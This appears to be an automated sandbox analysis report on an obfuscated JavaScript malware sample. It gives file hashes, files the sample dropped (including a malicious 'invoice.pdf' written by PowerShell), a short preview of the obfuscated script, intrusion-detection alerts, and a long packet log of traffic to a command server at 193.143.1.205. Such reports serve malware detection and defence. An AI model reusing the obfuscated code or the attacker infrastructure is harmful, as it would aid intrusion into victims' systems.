SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\a597c85f-8383-427d-aeb9-f8e2b09669ec.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16669), with CRLF line terminators
Entropy (8bit):	4.931300630682621
TrID:
File name:	324865730118751586.js
File size:	20'195 bytes
MD5:	12c5aa186cfb411c9df4ef8735a70d91
SHA1:	8a23968197c363fe810294cebc824e0da27bf2ce
SHA256:	62ce669d5542f2d2ebb1c43af4b656295a4a648267d7b40a269852ed8c416b08
SHA512:	4d3624325bdb9f88d0fec3a1b77c0d486d69810fd1520a4e8611529f214a699063978afc263f2bdf23ae4d89017d8977809bea5a4538bfe8bb6d2b70eb162f53
SSDEEP:	384:66Vpi8aaBG2OP7XUKv0csRa0a4pqerX9wYMLPz4kbJmkym3q9tOeytew9G4Lm0zN:cva0TPrYYerX9wYMLPz4kbJmkym3q9t6
TLSH:	CD9245A5FD288D7745F854F0A4D75CF33A81218A091EECD92F7838E893485B9BDD8839
File Content Preview:	function svjqecf(){wuzty=[1031,3079,5127,4103,2055,3072];var ioznsvnst=this[sldvkd+wqrjovk+ysxxkpfgb+zziubxrb+putijj+syivoxhul+gauvqixn+gdywon](this[lhhrhp+pkswoia+rqjrbbkk+ysxxkpfgb+dqqlz+sldvkd+gdywon][stnokmj+ysxxkpfgb+putijj+wqrjovk+gdywon+putijj+wmul

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T18:00:48.215329+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.12	49710	193.143.1.205	80	TCP
2025-01-10T18:00:50.733112+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.12	49711	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:00:47.337409019 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:47.435127974 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:47.435242891 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:47.441102982 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:47.445873976 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.215210915 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.215224981 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.215255976 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.215328932 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.215358973 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.215392113 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.215396881 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.215405941 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.215416908 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.215430021 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.215442896 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.215447903 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.215456009 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.215476990 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.215495110 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.221038103 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.221055984 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.221070051 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.221096039 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.258292913 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.258307934 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.258341074 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.311252117 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.338493109 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.338506937 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.338617086 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.338629961 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.338641882 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.338641882 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.338670969 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.339122057 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.339133024 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.339145899 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.339157104 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.339165926 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.339171886 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.339188099 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.339232922 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.340030909 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.340043068 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.340056896 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.340069056 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.340081930 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.340086937 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.340116024 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.340877056 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.340903044 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.340920925 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.340926886 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.340960979 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.340960979 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.340981007 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.341017962 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.341866970 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.341881990 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.341922998 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.386636972 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.386660099 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.386697054 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.386703014 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.425923109 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.425970078 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.462342024 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.462361097 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.462377071 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.462455034 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.462466002 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.462479115 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.462493896 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.462507963 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.462538004 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.462750912 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.462764978 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.462776899 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.462819099 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.463058949 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.463071108 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.463084936 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.463102102 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.463129997 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.463327885 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.463392973 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.463406086 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.463418961 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.463433027 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.463433027 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.463469028 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.463879108 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.463918924 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.463929892 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.463973999 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.464010954 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.464366913 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.464462996 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.464476109 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.464488983 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.464498997 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.464529991 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.464726925 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.464833021 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.464868069 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.464919090 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.464931965 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.464946032 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.464957952 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.464979887 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.465006113 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.465486050 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.465497971 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.465512037 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.465523005 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.465536118 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.465540886 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.465548992 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.465559959 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.465563059 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.465595961 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.466361046 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.466378927 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.466393948 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.466398001 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.466406107 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.466419935 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.466429949 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.466432095 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.466449976 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.466999054 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.467011929 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.467025042 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.467042923 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.467072964 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.473989964 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.474015951 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.474029064 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.474057913 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.505187988 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.505198956 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.505321980 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.513391972 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.513407946 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.513420105 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.513447046 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.513469934 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.549700975 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.549726009 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.549807072 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.586257935 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.586276054 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.586291075 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.586304903 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.586318970 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.586456060 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.586489916 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.586554050 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.586585999 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.586597919 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.586610079 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.586623907 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.586638927 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.586652040 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.586652040 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.586664915 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.586679935 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.586688995 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.586951971 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.586965084 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.586977005 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.586992025 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.587018013 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.587311029 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.587337017 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.587351084 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.587363005 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.587376118 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.587380886 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.587388039 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.587400913 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.587409019 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.587414026 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.587421894 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.587426901 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.587443113 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.587455034 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.587455988 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.587471962 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.587497950 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.587519884 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.588171005 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.588181973 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.588195086 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.588207006 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.588212013 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.588218927 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.588232040 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.588244915 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.588258982 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.588287115 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.588610888 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.588624001 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.588641882 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.588651896 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.588653088 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.588666916 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.588679075 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.588711977 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.588953972 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.588993073 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.589032888 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.589066982 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.589078903 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.589092970 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.589107037 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.589117050 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.589143991 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.589440107 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.589452982 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.589495897 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.589546919 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.589560986 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.589571953 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.589586020 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.589598894 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.589602947 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.589612961 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.589624882 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.589629889 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.589637995 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.589651108 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.589651108 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.589679003 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.591367006 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.591378927 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.591389894 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.591401100 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.591411114 CET	80	49710	193.143.1.205	192.168.2.12
Jan 10, 2025 18:00:48.591418982 CET	49710	80	192.168.2.12	193.143.1.205
Jan 10, 2025 18:00:48.591422081 CET	80	49710	193.143.1.205	192.168.2.12
